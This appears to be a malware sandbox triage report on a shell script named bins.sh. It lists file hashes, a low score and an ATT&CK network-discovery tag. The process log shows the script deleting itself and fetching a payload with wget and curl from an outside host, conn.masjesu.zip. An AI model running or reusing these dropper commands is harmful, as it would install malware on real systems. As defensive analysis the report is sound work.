daa972a65e4384ed36b00c3de5b45b5b31f4f5e6d8662bc8e31a6d7f3970ed86 | Triage

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
31-10-2024 10:13

Sharing

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

98a18e866b60daae3e685f11a1ba8de3
SHA1

e75c8b59ac625180b75dc09236815562ee7c7516
SHA256

daa972a65e4384ed36b00c3de5b45b5b31f4f5e6d8662bc8e31a6d7f3970ed86
SHA512

447380c5ee983ce566fd27ea9b62fb7da4fd0bab865cda320bfd4909ce03ac7a85a62919f6966e0007196ba30b6cac337efe2907d476d09ff680786ec835a33d
SSDEEP

192:kc45CiAzRJ0VRYnXJa3IAEb66so0KdzKVRYnX5cAEb664o04vc45Ci6RJ1:kc45CiAzRJxa3IVj6c45Ci6RJ1

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

1501 wget
1505 curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1499

/bin/rm
/bin/rm bins.sh
2⤵
PID:1500

/usr/bin/wget
wget http://conn.masjesu.zip/bins/lFJzR6hmq4a4xs66nSqRhzVp4NUQNjQvcu
2⤵
- System Network Configuration Discovery
PID:1501

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/lFJzR6hmq4a4xs66nSqRhzVp4NUQNjQvcu
2⤵
- System Network Configuration Discovery
PID:1505

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads